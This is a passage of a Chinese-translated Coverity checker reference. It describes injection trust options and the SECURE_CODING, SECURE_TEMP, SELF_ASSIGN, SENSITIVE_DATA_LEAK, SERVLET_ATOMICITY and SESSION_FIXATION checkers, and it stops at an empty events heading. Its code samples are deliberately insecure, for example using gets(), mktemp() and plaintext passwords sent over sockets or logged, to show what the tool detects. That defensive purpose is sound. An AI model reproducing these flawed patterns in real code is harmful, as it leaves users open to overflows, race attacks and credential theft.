- `SCRIPT_CODE_INJECTION:trust_database:<boolean>` - [JavaScript、PHP 和 Python、TypeScript] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自数据库的数据视为被污染。默认值为 `SCRIPT_CODE_INJECTION:trust_database:true` (适用于 JavaScript、PHP、Python、Swift)。设置此检查器选项会覆盖全局 `--trust-database` 和 `--distrust-database` 命令行选项。
- `SCRIPT_CODE_INJECTION:trust_environment:<boolean>` -
[JavaScript、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自环境变量的数据视为被污染。默认值为 `SCRIPT_CODE_INJECTION:trust_environment:true` (适用于 JavaScript、PHP 和 Python)。设置此检查器选项会覆盖全局 `--trust-environment` 和 `--distrust-environment` 命令行选项。
- `SCRIPT_CODE_INJECTION:trust_filesystem:<boolean>` -
[JavaScript、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全

选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 SCRIPT_CODE_INJECTION:trust_filesystem:true (适用于 JavaScript、PHP 和 Python)。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。

- SCRIPT_CODE_INJECTION:trust_http:<boolean> - [JavaScript、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 SCRIPT_CODE_INJECTION:trust_http:false (适用于 JavaScript、PHP 和 Python)。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- SCRIPT_CODE_INJECTION:trust_http_header:<boolean> - [JavaScript、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 SCRIPT_CODE_INJECTION:trust_http_header:false (适用于 JavaScript、PHP 和 Python)。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- SCRIPT_CODE_INJECTION:trust_mobile_other_app:<boolean> - [仅限 JavaScript、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 SCRIPT_CODE_INJECTION:trust_mobile_other_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。
- SCRIPT_CODE_INJECTION:trust_mobile_other_privileged_app:<boolean> - [仅限 JavaScript、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将以下数据视为被污染：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 SCRIPT_CODE_INJECTION:trust_mobile_other_privileged_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。
- SCRIPT_CODE_INJECTION:trust_mobile_same_app:<boolean> - [仅限 JavaScript、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为 SCRIPT_CODE_INJECTION:trust_mobile_same_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。
- SCRIPT_CODE_INJECTION:trust_mobile_user_input:<boolean> - [仅限 JavaScript、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染。默认值为 SCRIPT_CODE_INJECTION:trust_mobile_user_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。

- `SCRIPT_CODE_INJECTION:trust_network:<boolean>` -
[JavaScript、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自网络的数据视为被污染。默认值为 `SCRIPT_CODE_INJECTION:trust_network:false` (适用于 JavaScript、PHP 和 Python)。设置此检查器选项会覆盖全局 `--trust-network` 和 `--distrust-network` 命令行选项。
- `SCRIPT_CODE_INJECTION:trust_rpc:<boolean>` -
[JavaScript、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 `SCRIPT_CODE_INJECTION:trust_rpc:false` (适用于 JavaScript、PHP 和 Python)。设置此检查器选项会覆盖全局 `--trust-rpc` 和 `--distrust-rpc` 命令行选项。
- `SCRIPT_CODE_INJECTION:trust_system_properties:<boolean>` -
[JavaScript、PHP、Python、Swift、TypeScript] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自系统属性的数据视为被污染。默认值为 `SCRIPT_CODE_INJECTION:trust_system_properties:true` (适用于 JavaScript、PHP 和 Python)。设置此检查器选项会覆盖全局 `--trust-system-properties` 和 `--distrust-system-properties` 命令行选项。

4.279. SECURE_CODING

质量、安全检查器

4.279.1. 概述

支持的语言 : C、C++、Objective-C、Objective-C++

在 7.5.0 中已废弃 : SECURE_CODING 检查器已废弃。自 2020.03 发行版起，我们建议使用 CodeXM 实现可以确定“不调用”问题的自定义检查器。请参阅 Section 4.129.1, “将 DC 自定义检查器迁移到 CodeXM”。

SECURE_CODING 是一种审计工具，而不是一般意义上的检查器。它报告的大部分都不是缺陷。请勿随意启用该检查器，因为这样做会干扰分析结果。SECURE_CODING 会报告对可能危险的函数的任何调用，而不分析代码行为或调用的环境。它会针对之前不安全的函数使用发出警告，并建议可行的替代方案。最好将其用作有组织地从整个代码库去除危险旧函数的措施的一部分。您可以自定义让该检查器发出警告的一组函数。

当其他函数（例如 `strcpy`）被标识为安全威胁时，不应该使用某些不安全的函数（例如 `gets()`）。有些函数旨在减少与旧版函数（例如 `strncpy()`，而不是 `strcpy()`）相关的问题，但如果使用不当，仍可能会导致问题。

有时，SECURE_CODING 会将函数的使用报告为危险行为，但在代码环境中，此类行为实际上是安全的。这是特意为之，对应的报告并不是缺陷，而是确保未来进行检查的代码标识符。此检查器会报告很多情况，因此默认禁用。要启用 SECURE_CODING，请指定以下项：

```
cov_analyze -en SECURE_CODING
```

SECURE_CODING 分析不会推断安全编码函数。它不会产生误报：它报告的是警告，而不是缺陷。要移除对指定函数的警告，您需要为目标函数创建空模型，并使用以下项对其进行编译：

```
cov-make-library -en SECURE_CODING
```

默认禁用 : SECURE_CODING 默认禁用。要启用它 , 您可以在 cov-analyze 命令中使用 --enable 选项。

4.279.2. 示例

本部分提供了一个或多个 SECURE_CODING 示例。

在下面的示例中 , 共有三个可能的问题 :

- 您绝不应使用 gets() 函数 , 因为您无法控制读取的数据量。
- 您应该避免使用 strcpy() 函数 , 而是要使用 strncpy() 。
- 在使用 strncpy() 函数时 , 一定要使用正确的长度参数。

```
void secure_coding_example() {
    char *d, *s, *p;
    int x;
    ...
    gets(p);
    strcpy(d, s);
    strncpy(d, s, x);
}
```

4.279.3. 模型

您可以使用原语为 SECURE_CODING 创建自定义模型 :

```
int outdated_copy_function(void *arg) {
    __coverity_secure_coding_function__("buffer overflow",
    "outdated_function() makes no guarantee of safety.",
    "Use updated_copy_function() instead.",
    "VERY RISKY");
}
```

此模型表明在对 outdated_copy_function() 的每一个调用中 , 都会显示警告 , 告知开发人员应该避免使用此函数 , 并用 updated_copy_function() 来代替。

4.280. SECURE_TEMP

质量、安全检查器

4.280.1. 概述

支持的语言 : . C、C++、Python

SECURE_TEMP 可查找通过不安全的方式创建临时文件的情况。当这发生在需要较高运行权限的程序中时，该程序很容易遭到竞态条件攻击，并且可能被用于破坏系统安全。

很多程序在共享目录（例如 `/tmp`）中创建临时文件。虽然有各种 C 库程序可以协助创建独特的临时文件，但其中很多都是不安全的，因为它们会导致程序容易遭到竞态条件攻击。

如果临时文件的名称很容易被猜到，文件名在临时文件创建后被通过不安全的方式使用，或者在调用安全程序之前未正确设置 umask，攻击者可能就会控制易受攻击的应用程序和系统。

请避免使用不安全的临时文件创建程序。而是应该使用 `mkstemp()` 创建临时文件。在使用 `mkstemp()` 时，请记得首先安全地设置 umask，然后再将生成的临时文件权限限制为仅限拥有者。此外，请勿将文件名传递给另一个具有权限的系统调用。请使用返回的文件描述符。

Note

`SECURE_TEMP` 无法在全局范围内工作。

默认禁用：`SECURE_TEMP` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

安全检查器启用 -C、C++：要与其他安全检查器一起启用 `SECURE_TEMP`（适用于 C、C++），请在 `cov-analyze` 命令中使用 `--security` 选项。

Web 应用程序安全检查器启用 - Python：要与其他 Web 应用程序安全检查器一起启用 `SECURE_TEMP`（适用于 Python），请在 `cov-analyze` 命令中使用 `--webapp-security` 选项。

4.280.2. 示例

本部分提供了一个或多个 `SECURE_TEMP` 示例。

4.280.2.1. C/C++

下面的示例生成了缺陷，因为 `mktemp()` 是不全的：因为很容易猜到它创建的临时文件的名称。类似的函数包括 `tmpnam()`、`tempnam()` 和 `tmpfile()`。

```
void secure_temp_example() {
    char *tmp, *tmp2, *tmp3;
    char buffer[1024];
    tmp = mktemp(buffer);
}
```

4.280.2.2. Python

在下面的示例中，针对调用 `tempfile.mktemp()` 方法显示了 `SECURE_TEMP` 缺陷。

```
import tempfile
def write_file(results):
    tmpfn = tempfile.mktemp()
    with open(tmpfn, "w+") as f:
        f.write(results)
```

4.280.3. 事件

本部分描述了 SECURE_TEMP 检查器生成的一个或多个事件。

- secure_temp : 使用了不安全的临时文件创建程序，或者使用了 mkstemp() 但未正确设置 umask。

4.281. SELF_ASSIGN

质量、规则检查器

4.281.1. 概述

支持的语言：. C++

SELF_ASSIGN 可报告 C++ 赋值成员函数在为 `this` 的字段赋值之前未检查赋值右侧是否是与 `this` 相同的对象的很多情况。如果包含此运算符作为其成员的类拥有资源（例如动态分配内存或操作系统句柄），则当对象对自身赋值时，可能发生释放后继续使用错误。也可能发生其他问题，具体取决于写入赋值运算符的确切方式。

该检查器仅考虑可用于为整个对象赋值的赋值运算符。它会排除私有运算符（假设不打算使用它们）。

下面的简单字符串封装类展示了 SELF_ASSIGN 检查器检测到的问题的排序。

```
class SimpleString {
    char *p;
public:
    SimpleString(const char *s = "") : p(strdup(s)) {}
    SimpleString(const SimpleString &init) : p(strdup(init.p)) {}
    ~SimpleString() {free(p);}
    SimpleString &operator=(const SimpleString &rhs)
    {
        free(p);           // bad if &rhs == this
        p = strdup(rhs.p); // use-after-free when &rhs == this
        return *this;
    }

    const char *str() {return p;}
    operator const char *() {return str();}
};
```

请注意，此检查器强制执行的规则不需要类拥有任何资源，因此它可能报告自赋值无害的很多情况，例如：

```
struct point {
    int x;
    int y;
    point(int xx, int yy) : x(xx), y(yy) {}
    point(const point &init) : x(init.x), y(init.y) {}
    point &operator=(const point &rhs)
    {
```

```
x = rhs.x; // harmless even when &rhs == this
y = rhs.y;
return *this;
}
};
```

默认禁用 : SELF_ASSIGN 默认禁用。要启用它 , 您可以在 cov-analyze 命令中使用 --enable 选项。

4.281.2. 事件

本部分描述了 SELF_ASSIGN 检查器生成的一个或多个事件。

- self_assign : 对象可能对自身赋值。

4.282. SW.*

质量、编译警告检查器

4.282.1. 概述

支持的语言 : . C、C++、Swift

请参阅 PW.*、RW.*、SW.* : 编译警告。

4.283. SENSITIVE_DATA_LEAK

安全检查器

4.283.1. 概述

支持的语言 : . C、C++、C#、Go、Java、JavaScript、Kotlin、Objective C、Objective C++、PHP、Python、Ruby、Swift、Visual Basic

SENSITIVE_DATA_LEAK 查找在未充分保护加密的情况下存储、传输或记录敏感数据的代码。在 UI 中显示异常堆栈跟踪或其他程序信息可能会泄漏关于应用程序的数据 , 导致其更容易遭到攻击。 SENSITIVE_DATA_LEAK 检查器随后会报告这些敏感数据泄露。

请注意 , 如果 use_name_based_taint 选项被设置为 always , 该分析会将字段和参数基于其名称视为密码数据。这可以通过将攻击性级别设置为 high 来完成。

如果 cov-analyze 的 --webapp-security-aggressiveness-level 选项被设置为 high , 您可以使用以下命令行选项 , 指定分析将其视为密码数据的程序数据段 : --add-password-regex 和 --replace-password-regex 。对于 C、C++、Objective C 和 Objective ++ , 有意义的选项是 --aggressiveness-level 被设置为 high 。有关详情 , 请参阅《Coverity 命令说明书》中的 cov-analyze 命令说明。

默认禁用 : SENSITIVE_DATA_LEAK 默认对 C、C++、C#、Java、JavaScript、Objective-C、Objective-C++、PHP、Python、Visual Basic 禁用。要启用它 , 您可以使用 cov-analyze 命令的 --enable 或 --security 选项。

默认启用 : SENSITIVE_DATA_LEAK 默认对 Go、Kotlin、Ruby 和 Swift 启用。

Web 应用程序安全检查器启用 : 要启用 SENSITIVE_DATA_LEAK 以及其他 Web 应用程序检查器 , 请使用 --webapp-security 选项。

Android 安全检查器启用。要与其他 Java Android 安全检查器一起启用 SENSITIVE_DATA_LEAK , 请在 cov-analyze 命令中使用 --android-security 选项。

4.283.2. 缺陷剖析

SENSITIVE_DATA_LEAK 缺陷显示了一个数据流路径 , 敏感数据 (例如未加密的密码或会话 ID) 通过该路径泄露到网络、文件系统、日志、数据库、Cookie 或用户界面。数据流路径从敏感数据的源头开始 , 例如解密操作 (加密表示数据是敏感数据) 。在此处开始 , 缺陷中的各种事件说明了此敏感数据如何在程序中流动 : 例如从函数调用的参数到被调用函数的参数。数据流路径的最后一部分显示了未加密的敏感数据正在泄露到数据消费者。

对于 Ruby on Rails , 当在生产中启用详细异常时将报告缺陷。

4.283.3. 示例

本部分提供了一个或多个 SENSITIVE_DATA_LEAK 示例。

4.283.3.1. C、C++

以下示例在不加密的情况下将用户名和密码存储到文件系统中。

```
int passwordStoredInPlainText(FILE *userdb) {
    char uname[MAX_UNAME_LEN];
    if (!fgets(uname, sizeof(uname), stdin)) {
        return -1;
    }
    char *pwd = getpass("Please enter your password: ");

    return fprintf(userdb, "%s:%s\n", uname, pwd); //defect
}
```

4.283.3.2. C#

下面的示例在未重新加密或进行 hash 处理的情况下 , 通过套接字发送了被推断为敏感数据的已解密数据。因此 , 攻击者可以在传输过程中截获已解密的数据。

```
public byte[] DecryptData(RSA rsa, byte[] data)
{
    return rsa.DecryptValue(data);
}
public void DecryptedDataLeaksToNetwork(
    RSA      rsa,
    Socket   socket,
    byte[]  encryptedData)
{
```

```
byte[] decryptedData = DecryptData(rsa, encryptedData);
socket.Send(decryptedData);
}
```

4.283.3.3. Go

下面的示例记录包含敏感登录凭据的失败。针对 `logger.Write` 调用显示一个缺陷。

```
package main

import (
    "net"
    "net/http"
)

func sdl(req http.Request){
    uname, password, ok := req.BasicAuth()
    if ok {
        logger, _ := syslog.New(syslog.LOG_INFO, "DEMO")
        logger.Write([]byte("Auth event: " + uname + ":" + password)) // defect here
    }
}
```

4.283.3.4. Java

下面的示例在未加密或进行 hash 处理的情况下通过套接字发送了密码。因此，攻击者可以在传输过程中截获该密码。

```
public void test(PasswordAuthentication pwAuth)
{
    String pw = new String(pwAuth.getPassword());

    Socket socket = null;
    PrintWriter writer = null;
    try
    {
        socket = new Socket("remote_host", 1337);
        writer = new PrintWriter(socket.getOutputStream(), true);

        writer.println(pw);
    }
    catch (IOException exceptIO) { }
}
```

4.283.3.5. JavaScript

下面的示例在 HTTP 响应中发送了被推断为敏感数据的已解密数据。另外，加密密码显示在了控制台上。具有不同能力的攻击者都可以看到这些敏感数据。

```
let crypto = require('crypto');
let net = require('net');
```

```
let decipher = crypto.createDecipher('aes192', key);
decipher.update(encrypted, 'utf8', 'hex');
let plaintext = decipher.final();

net.createServer((socket) => {
  socket.write("Decrypted data: ");
  socket.end(plaintext);
});

console.log(key);
```

4.283.3.6. Kotlin

下面的示例在不加密或进行 hash 处理的情况下将密码存储在共享的首选项（文件）中。因此，攻击者可以使用广泛可用的工具从共享的首选项中读取密码。

```
import android.content.Context;
import android.content.SharedPreferences
import android.content.SharedPreferences.Editor
import android.net.wifi.WifiEnterpriseConfig

class SensitiveDataLeak {
    fun passwordLeaksToSharedPreferences(context: Context) {
        var enterpriseConfig = WifiEnterpriseConfig()
        var pw = enterpriseConfig.getPassword()
        val sharedPref: SharedPreferences =
            context.getApplicationContext().getSharedPreferences("my-app-
prefs", 0)
        var editor = sharedPref.edit()
        editor.putString("net-password", pw)
        editor.commit()
    }
}
```

4.283.3.7. PHP

下面的 PHP 代码将密码发送回用户的 Web 浏览器。

```
function dump_pw(){
    exit($_SERVER['PHP_AUTH_PW']);
}
```

4.283.3.8. Ruby

下面的 Ruby-on-Rails 示例展示了如下配置：启用详细异常以便在发生错误时向用户显示。

```
Rails.application.configure do
  config.consider_all_requests_local = true
end
```

4.283.3.9. Swift

下面的示例记录包含敏感登录凭证的失败。

```
import Foundation

func ProcessAccountDetails(login: URLCredential)
{
    // Create a request
    let session = URLSession(configuration: URLSessionConfiguration.default)
    let request = URLRequest(url: URL(string: "https://mysite.com/accountdetails")!)

    // Create and run the task
    let task = session.dataTask(with: request, completionHandler: { (data, response,
error) in
        if (error != nil) {
            // SENSITIVE DATA LEAK here!
            NSLog("Login failed: \(login.user) : \(login.password!)")
        }
        // Process account details...
    })
    task.resume()
}
```

4.283.3.10. Visual Basic

下面的示例在未重新加密数据或对数据进行 hash 处理的情况下，通过套接字发送被推断为敏感的已解密数据。因此，攻击者可以在传输过程中截获已解密的数据。

```
Public Function DecryptData(rsa As RSA, data As Byte()) As Byte()
    Return rsa.DecryptValue(data)
End Sub
Public Sub DecryptedDataLeaksToNetwork(
    rsa           As RSA,
    socket        As Socket,
    encryptedData As Byte()
)
    Dim decryptedData As Byte() = DecryptData(rsa, encryptedData)
    socket.Send(decryptedData)
End Sub
```

4.283.4. 选项

- SENSITIVE_DATA_LEAK:use_name_based_taint:<string> - 其中，字符串值可以是 "always" 或 "never"。将此选项设置为 always，可使分析根据名称推断某些标识符和属性（例如“密码”）存储敏感数据。默认值为 SENSITIVE_DATA_LEAK:use_name_based_taint:"never"（适用于所有语言）。

4.283.5. 模型和注解 源和数据消费者

Java 模型和注解（请参阅Section 5.4, “Java 模型和注解”）、C# 或 Visual Basic 模型（请参阅Section 5.2, “C# 或 Visual Basic 中的模型和注解”）和 JavaScript tainted_data 安全指令（请参阅《安全指令说明书》）可以通过识别新的敏感数据源和新数据消费者源（即在应用程序外发送或存储数据的方法），改进此检查器执行的分析。您可以将 SENSITIVE_DATA_LEAK 缺陷视为包含从源到数据消费者的 data flow 路径，并且不具有任何旨在保护或模糊敏感数据的干预加密或 hash 处理。

Go、Kotlin 和 Swift 不支持这些模型。

4.283.5.1. 源

Coverity 默认为多种敏感数据源建模。您可以使用 Coverity 源模型原语为其他 SENSITIVE_DATA_LEAK 源建模。

4.283.5.1.1. C、C++、Objective C、Objective C++ 源

您可以使用 `_coverity_mark_pointee_as_tainted_` 原语指定其他来源。例如：

```
void storesPasswordInParam(char *arg1) {
    __coverity_mark_pointee_as_tainted__(arg1, SDT_PASSWORD);
    // ...
}
```

`SDT_<source_type>` 是 Table 4.6, “敏感数据源类型”中所示的类型之一。

4.283.5.1.2. Java 源

对于 Java，源模型原语具有以下函数签名：

- 用于为返回敏感数据的函数建模的签名：

```
sensitive_source(SensitiveDataType.SDT_<source_type>)
```

- 用于为函数（包含被更新为或默认为敏感数据的参数）建模的签名：

```
sensitive_source(T <parameter>, SensitiveDataType.SDT_<source_type>)
```

在上述函数签名中，`SDT_<source_type>` 是 Table 4.6, “敏感数据源类型”中所列类型之一，并且 `<parameter>` 被视为敏感数据。下面的示例使用 `SensitiveDataType.SDT_PASSWORD` 为返回敏感密码数据或在参数中存储此类数据的函数建模：

```
Object returnsPassword() {
    sensitive_source(SensitiveDataType.SDT_PASSWORD);
    // ...
}

void storesPasswordInParam(Object arg1) {
    sensitive_source(arg1, SensitiveDataType.SDT_PASSWORD);
    // ...
}
```

此外，您还可以在合适的情况下使用 `@SensitiveData` 注解代替原语。有关示例，请参阅[Section 5.2.1.1, “为 C# 或 Visual Basic 中的敏感数据源建模”](#)。

4.283.5.1.3. JavaScript 源

虽然该分析包括适用于很多常见敏感数据源的内置模型，但它可以通过指定额外的应用程序特定敏感数据源查找更多问题。

返回敏感数据的方法、包含敏感数据的对象属性以及其参数包含敏感数据的回调函数都可以使用 `tainted_data` 指令（在《安全指令说明书》中描述）建模。

4.283.5.1.4. C# 和 Visual Basic 源

虽然该分析包括适用于很多常见敏感数据源的内置模型，但它可以通过指定额外的应用程序特定敏感数据源查找更多问题。

可以使用 `Coverity.Primitives.SensitiveSource primitives` 为返回敏感数据的方法建模。有关更多详情，请参阅[Section 5.2.1.1, “为 C# 或 Visual Basic 中的敏感数据源建模”](#)。

也可以将 `Coverity.Attributes.SensitiveData` 属性应用到应视为敏感项的程序元素。有关更多详情，请参阅[Section 5.2.2.2, “属性”](#)。

4.283.5.1.5. 敏感数据源类型

下表描述了您可以在为敏感数据源建模时使用的源类型。

Table 4.6. 敏感数据源类型

C、C++、Java <code>SensitiveDataType</code> enum 值	JavaScript 敏感数据 "taint_kind"	C# 和 Visual Basic <code>SensitiveDataType</code> enum 值	说明
<code>SDT_DECRYPTED</code>	"decrypted"	<code>Decrypted</code>	被解密的数据。
<code>SDT_PASSWORD</code>	"password"	<code>Password</code>	典型的密码。
<code>SDT_TOKEN</code>	"token"	<code>Token</code>	根据令牌等生成的密码。
<code>SDT_SESSION_ID</code>	"session_id"	<code>SessionId</code>	会话 ID。
<code>SDT_MOBILE_ID</code>	"mobile_id"	<code>MobileId</code>	移动设备的 ID。
<code>SDT_USER_ID</code>	"user_id"	<code>UserId</code>	用户的 ID。
<code>SDT_NATIONAL_ID</code>	"national_id"	<code>NationalId</code>	人员的 ID，例如社会保 险号码。
<code>SDT_PERSISTENT_SECRET</code>	"persistent_secret"	<code>PersistentSecret</code>	内部密码，例如私有密 钥。
<code>SDT_TRANSIENT_SECRET</code>	"transient_secret"	<code>TransientSecret</code>	临时密码，例如 <code>salt</code> 、 <code>nonce</code> 和 <code>init</code> 矢 量。
<code>SDT_SEED</code>	"seed"	<code>Seed</code>	种子，例如加密伪随机数 生成器 (CPRNG)。

C、C++、Java SensitiveDataType enum 值	JavaScript 敏感数据 "taint_kind"	C# 和 Visual Basic SensitiveDataType enum 值	说明
SDT_CARDHOLDER_DATA	Cardholder_data"	CardholderData	信用卡信息，例如信用卡号码或 PAN。
SDT_ACCOUNT	"account"	Account	财务账户信息，例如银行账号。
SDT_TRANSACTION	"transaction"	Transaction	交易信息，例如对账单。
SDT_MEDICAL	"medical"	Medical	常规医疗信息，例如化验结果或病历。
SDT_BIOMETRIC	"biometric"	Biometric	生物计量信息，例如指纹、DNA 或视网膜。
SDT_GEOGRAPHICAL	"geographical"	Geographical	地理信息，例如 GPS、IP 或信号塔信息。
SDT_EXCEPTION	"exception"	Exception	根据异常生成的消息。
SDT_SOURCE_CODE	"source_code"	SourceCode	关于源代码的信息，例如堆栈跟踪。
SDT_CONFIGURATION	"configuration"	Configuration	配置，例如配置属性。
SDT_BUG	"bug"	Bug	已知的程序缺陷。
SDT_FILEPATH	"filepath"	Filepath	文件系统中的文件。
SDT_DIRECTORY_LISTING	Directory_listing"	DirectoryListing	目录列表。
SDT_SYSTEM_MEMORY	"system_memory"	SystemMemory	关于系统内存使用情况的信息。
SDT_SYSTEM_USER	"system_user"	SystemUser	系统用户数据。
SDT_PLATFORM	"platform"	Platform	关于运行时平台的信息

4.283.5.2. 数据消费者

Coverity 默认还为多种敏感数据消费者建模。您可以使用 Coverity 数据消费者模型原语为其他 SENSITIVE_DATA_LEAK 数据消费者建模。

要将函数建模为敏感数据消费者，请添加Table 4.7，“敏感数据消费者类型”中所列的适当数据消费者原语。

您可以使用 `_coverity_taint_sink_ primitive` 指定其他数据消费者。例如：

```
void sendOverNetwork(char *arg1) {
    __coverity_taint_sink__(arg1, TRANSIT);
    // ...
}
```

对于基于 C 的语言，检查器使用与表 4.7 中所示相同的数据消费者类型，其中枚举值与 SinkKind 完全相同，但是为大写：例如 COOKIE 代表 cookie。

Coverity Analysis 检查器 (Checkers)

在 Java 中，原语在类 `com.coverity.primitives.SecurityPrimitives` 中定义，并使用 `Object` 作为参数，例如：

```
public class MyClass {  
  
    // The SENSITIVE_DATA_LEAK checker will report defects if the  
    // argument is sensitive data.  
    void leaky_function(java.lang.String data) {  
        com.coverity.primitives.SecurityPrimitives.filesystem_sink(data);  
    }  
}
```

在 JavaScript 中，数据消费者通过指令建模，其中 `"sink_for_checker"` 字段被设置为 `"SENSITIVE_DATA_LEAK"`，并且 `"sink_kind"` 字段指定数据消费者的类型。`sink_for_checker` 指令在《安全指令说明书》中描述。例如：

```
{  
    "sink_for_checker" : "SENSITIVE_DATA_LEAK",  
    "sink_kind" : "transit",  
    "sink" : {  
        "input" : "arg1",  
        "to_callsite" : {  
            "call_on" : {  
                "read_path_off_global" : "sendData"  
            }  
        }  
    }  
}
```

在 C# 中，原语在类 `Coverity.Primitives.Security` 中定义，并使用 `Object` 作为参数，例如：

```
namespace TheCode {  
  
    public class MyClass {  
  
        // The SENSITIVE_DATA_LEAK checker will report defects if the  
        // argument is sensitive data.  
        public void LeakyFunction(string data) {  
            Coverity.Primitives.Security.SDLFilesystemSink(data);  
        }  
    }  
}
```

可以在 Visual Basic 中使用相同的原语：

```
Namespace TheCode  
    Public Class MyClass  
        ' The SENSITIVE_DATA_LEAK checker will report defects if the  
        ' argument is sensitive data.  
        Public Sub LeakyFunction(data As String)  
            Coverity.Primitives.Security.SDLFilesystemSink(data)
```

```

    End Sub
End Class
End Namespace

```

Table 4.7. 敏感数据消费者类型

Java 原语	SENSITIVE_DATA_LEAKC# 原语 SinkKind		说明
cookie_sink	cookie	SDLCookieSink	信息被发送至 cookie 中不可靠的端点。
database_sink	database	SDLDatabaseSink	信息被存储到数据库中。
filesystem_sink	filesystem	SDLFileSystemSink	信息被存储到文件系统中。
logging_sink	logging	SDLLoggingSink	信息被记录。
registry_sink	registry	SDLRegistrySink	信息被存储到 Windows 注册表中。
transit_sink	transit	SDLTransitSink	信息被通过不可靠的连接发送。
ui_sink	ui	SDLUISink	信息被发送至不可靠的端点。

4.284. SERVLET_ATOMICITY

质量、安全检查器

4.284.1. 概述

支持的语言：. Java

SERVLET_ATOMICITY 可查找在以下类型的对象中调用 `getAttribute` 和 `setAttribute` 发生原子性违规的情况：

- javax.servlet.ServletContext
- javax.servlet.http.HttpSession
- javax.servlet.jsp.JspContext

此检查器会在针对同一属性的 `getAttribute` 和 `setAttribute` 发生在锁定的上下文外部时报告缺陷。

4.284.2. 示例

本部分提供了一个或多个 SERVLET_ATOMICITY 示例。

在下面的示例中，假设两个独立的请求通过 `newTemps112` 和 `120` 调用 `recordTemperatureStats`。调用 `getAttribute` 可能同时发生，导致两个线程的当前最高已记录

温度 (curTemp) 相同。取决于调度，新的最高已记录温度在执行结束时可能为 112。此结果是错误的，因为温度 120 丢失了。此问题可通过同步不当对象并确保结束时的最高已记录温度是 120 来解决。

```
public void recordTemperatureStats(Integer newTemp, HttpSession session) {
    Integer curTemp = (Integer) session.getAttribute("highestRecordedTemp");
    if (newTemp > curTemp)
        session.setAttribute("highestRecordedTemp", newTemp);
}
```

4.284.3. 选项

本部分描述了一个或多个 SERVLET_ATOMICITY 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- SERVLET_ATOMICITY:attribute_init_race:<boolean> - 当此 Java 选项被设置为 true 时，该检查器会在线程共享对象中不存在属性时报告原子性违规。由于此违规发生在初始化期间，因此开发人员可能会容忍此缺陷。默认值为 SERVLET_ATOMICITY:attribute_init_race:false。（启用后，该缺陷在 Coverity Connect 中会被报告在 attribute_init_race 子类别下。）
- SERVLET_ATOMICITY:report_attribute_removal:<boolean> - 当此 Java 选项被设置为 true 时，该检查器将报告涉及 removeAttribute 调用或传递 null 属性值的 setAttribute 调用的缺陷。默认值为 SERVLET_ATOMICITY:report_attribute_removal:false。

4.284.4. 事件

本部分描述了 SERVLET_ATOMICITY 检查器生成的一个或多个事件。

- get_attribute - 在线程共享对象 <interface> 中调用 getAttribute()。
- set_attribute - 在线程共享对象 <interface> 中调用 setAttribute() 可能导致丢失更新。

4.285. SESSION_FIXATION

安全检查器

4.285.1. 概述

支持的语言：. Java

SESSION_FIXATION 查找会话定位漏洞；当不受控制的动态数据被传递给相应 API（设置应用程序使用的会话令牌）时，就会产生此类漏洞。在 Java Web 应用程序中，每个容器都可能暴露 API 以设置会话令牌。虽然也可以使用自定义会话令牌，但此检查器目前不检查此类令牌。

默认禁用：SESSION_FIXATION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 SESSION_FIXATION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.285.2. 示例

本部分提供了一个或多个 SESSION_FIXATION 示例。

在下面的示例中，字符串 sessionId 被污染。它被传递给两个标识的数据消费者：Request.setRequestedSessionId 和 Session.setId。

```
protected void changeSessionID(Request request, Response response, String sessionId,
    String newSessionID, Session catalinaSession) {
    lifecycle.fireLifecycleEvent("Before session migration", catalinaSession);
    request.setRequestedSessionId(newSessionID);
    catalinaSession.setId(newSessionID);
    ...
}
```

如果攻击者可以影响受害者使用攻击者提供的值（例如通过跨站请求伪造攻击），攻击者就可以将受害者的会话设置为已知值。如果受害者使用攻击者提供的会话令牌通过了应用程序的验证，攻击者就可以通过再次使用同一会话令牌冒充受害者。（会话令牌是应用程序用于唯一识别不同用户的标识。）

4.285.3. 事件
